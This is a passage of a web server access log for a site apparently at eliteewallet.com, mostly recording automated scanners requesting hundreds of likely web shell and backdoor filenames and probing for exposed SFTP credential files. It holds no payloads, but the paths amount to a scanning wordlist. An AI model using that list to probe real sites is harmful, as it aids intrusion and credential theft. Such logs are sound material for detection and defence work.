+0300] "GET /akcc.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:59:15 +0300] "GET /vanda.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:59:17 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:59:20 +0300] "GET /zc-104.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:59:22 +0300] "GET /zc-729.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:59:24 +0300] "GET /bo.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:59:26 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:59:28 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:59:30 +0300] "GET /56c53.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:59:32 +0300] "GET /FII.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:59:34 +0300] "GET /wp-ac.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:59:36 +0300] "GET /atex1.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:59:39 +0300] "GET /blox.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:59:42 +0300] "GET /wp-64wscx6shd.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:59:44 +0300] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:59:47 +0300] "GET /sxx.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:59:49 +0300] "GET /mode.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:59:51 +0300] "GET /z60.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:59:53 +0300] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:59:55 +0300] "GET /asd.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:59:56 +0300] "GET /5b9ac.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:59:58 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:16:00:00 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:16:00:03 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:16:00:06 +0300] "GET /lm15.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:16:00:09 +0300] "GET /6kDPjgFTmvS.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:16:00:12 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:16:00:15 +0300] "GET /admin836.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:16:00:17 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:16:00:19 +0300] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 101.33.81.73 - - [24/Jan/2026:16:05:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.165.189.110 - - [24/Jan/2026:17:02:46 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.209.196.229 - - [24/Jan/2026:17:32:33 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 106.54.62.156 - - [24/Jan/2026:17:30:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 94.103.173.219 - - [24/Jan/2026:18:46:57 +0300] "GET http://eliteewallet.com/ HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 104.168.28.15 - - [24/Jan/2026:19:23:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 15_7_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15" 92.255.85.77 - - [24/Jan/2026:20:46:40 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 169.150.203.195 - - [24/Jan/2026:21:08:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 44.234.46.178 - - [24/Jan/2026:21:27:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 205.210.31.25 - - [24/Jan/2026:21:27:06 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 209.38.238.254 - - [24/Jan/2026:21:27:10 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 209.38.238.254 - - [24/Jan/2026:21:27:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 159.89.166.166 - - [24/Jan/2026:22:02:30 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://mail.eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 69.171.249.114 - - [24/Jan/2026:22:41:49 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 146.70.198.93 - - [24/Jan/2026:22:58:08 +0300] "GET /app/app/ueditor/ueditor.config.js/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.917.51 Safari/537.36" 93.158.90.65 - - [24/Jan/2026:21:53:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123" 159.89.166.166 - - [24/Jan/2026:22:02:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 69.171.249.1 - - [24/Jan/2026:22:41:49 +0300] "GET / HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 146.70.198.93 - - [24/Jan/2026:22:57:58 +0300] "GET /ueditor/ueditor.config.js/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.2169.99 Safari/537.36" 146.70.198.93 - - [24/Jan/2026:22:58:05 +0300] "GET /include/ueditor/ueditor.config.js/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2234.7 Safari/537.36" 27.115.124.38 - - [24/Jan/2026:23:26:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36" 49.51.196.42 - - [24/Jan/2026:23:29:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.157.172.39 - - [25/Jan/2026:00:47:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 182.44.12.37 - - [24/Jan/2026:23:57:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 103.65.236.153 - - [25/Jan/2026:01:18:12 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 103.65.236.153 - - [25/Jan/2026:01:18:08 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 216.244.66.194 - - [25/Jan/2026:01:45:34 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 145.220.91.19 - - [25/Jan/2026:05:30:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0" 118.195.150.224 - - [25/Jan/2026:05:10:14 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 36.41.75.167 - - [25/Jan/2026:06:07:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 13.74.146.113 - - [25/Jan/2026:07:07:21 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:07:27 +0300] "GET /baixy.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:07:29 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:07:31 +0300] "GET /nf.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:07:33 +0300] "GET /davaa.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:07:35 +0300] "GET /ceiif.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:07:37 +0300] "GET /sst.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:07:38 +0300] "GET /class-db.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:07:40 +0300] "GET /tmpls.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:07:41 +0300] "GET /ver.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:07:43 +0300] "GET /ultra.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:07:45 +0300] "GET /pro.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:07:47 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:07:48 +0300] "GET /e.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:07:49 +0300] "GET /data.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:07:51 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:07:52 +0300] "GET /z.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:07:53 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:07:55 +0300] "GET /image.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:07:56 +0300] "GET /file22.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:07:57 +0300] "GET /check.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:07:58 +0300] "GET /wp-header-json.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:08:00 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:08:01 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:08:03 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:08:05 +0300] "GET /xxxx.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:08:07 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:08:09 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:08:09 +0300] "GET /file56.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:08:10 +0300] "GET /990.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [25/Jan/2026:07:08:12 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "-" 43.130.14.245 - - [25/Jan/2026:07:44:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 130.12.181.143 - - [25/Jan/2026:08:20:13 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://duckduckgo.com/" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 40.69.27.251 - - [25/Jan/2026:08:38:06 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:38:25 +0300] "GET /bnm.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:38:27 +0300] "GET /ccou.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:38:29 +0300] "GET //ff.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:38:35 +0300] "GET /ccs.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:38:37 +0300] "GET /about8.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:38:40 +0300] "GET /wp-content/uploads/1.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:40:05 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:40:09 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:40:10 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:40:13 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:40:13 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:40:16 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:40:16 +0300] "GET /wp-admin/js/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:40:20 +0300] "GET /f5.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:40:24 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:40:26 +0300] "GET /xtride.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:40:28 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:40:30 +0300] "GET /flower2.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:40:34 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:40:39 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:40:55 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:40:57 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:40:59 +0300] "GET //wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:03 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:05 +0300] "GET /foot.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:07 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:09 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:10 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:11 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:13 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:15 +0300] "GET /xxxx.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:16 +0300] "GET //class.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:18 +0300] "GET /wp-admin/css/colors/midnight/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:21 +0300] "GET /gec.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:23 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:24 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:27 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:28 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:30 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:32 +0300] "GET //lock360.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:34 +0300] "GET //galex.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:37 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:39 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:41 +0300] "GET /bipas.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:42 +0300] "GET /shoyo.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:43 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:43 +0300] "GET /ar.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:44 +0300] "GET /blurbs18.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:45 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:47 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:48 +0300] "GET /bless14.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:49 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:50 +0300] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:52 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:53 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:55 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:55 +0300] "GET /wp-includes/ID3/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:57 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:41:59 +0300] "GET /wp-content/themes/twentytwentythree/styles/about.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:00 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:02 +0300] "GET /filesss.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:03 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:05 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:07 +0300] "GET /X7x.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:08 +0300] "GET /class20.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:10 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:10 +0300] "GET //wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:11 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:13 +0300] "GET /gifclass4.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:15 +0300] "GET /wag.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:16 +0300] "GET /xvent.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:18 +0300] "GET /wp-aaa.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:19 +0300] "GET /jmfi2.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:20 +0300] "GET /class19.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:21 +0300] "GET /cccc.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:23 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:24 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:25 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:26 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:28 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:29 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:31 +0300] "GET /bp.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:38:14 +0300] "GET /aa2.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:38:47 +0300] "GET //ccs.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:38:50 +0300] "GET //about8.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:38:53 +0300] "GET /slsolirs.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:38:56 +0300] "GET /xvde.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:38:59 +0300] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:39:00 +0300] "GET /f355.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:39:04 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:39:06 +0300] "GET /wp-mt.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:39:08 +0300] "GET //lala.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:39:13 +0300] "GET /3r.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:39:15 +0300] "GET /8xyz.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:39:18 +0300] "GET /la.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:39:20 +0300] "GET /ioxi.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:39:22 +0300] "GET /xpwer1.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:39:24 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:39:27 +0300] "GET /wp-admin/images/commentv.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:39:28 +0300] "GET //la.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:39:30 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:39:30 +0300] "GET //admin.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:39:34 +0300] "GET /wp-includes/fonts/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:39:35 +0300] "GET //wp-admin/images/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:39:38 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:39:41 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:39:41 +0300] "GET /x/ HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:39:43 +0300] "GET /ss1.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:39:45 +0300] "GET //assets/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:39:48 +0300] "GET //goods.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:39:52 +0300] "GET //admin.php?fm=true HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:39:56 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:39:58 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:39:59 +0300] "GET /wp-includes/blocks/code/ HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:40:00 +0300] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - 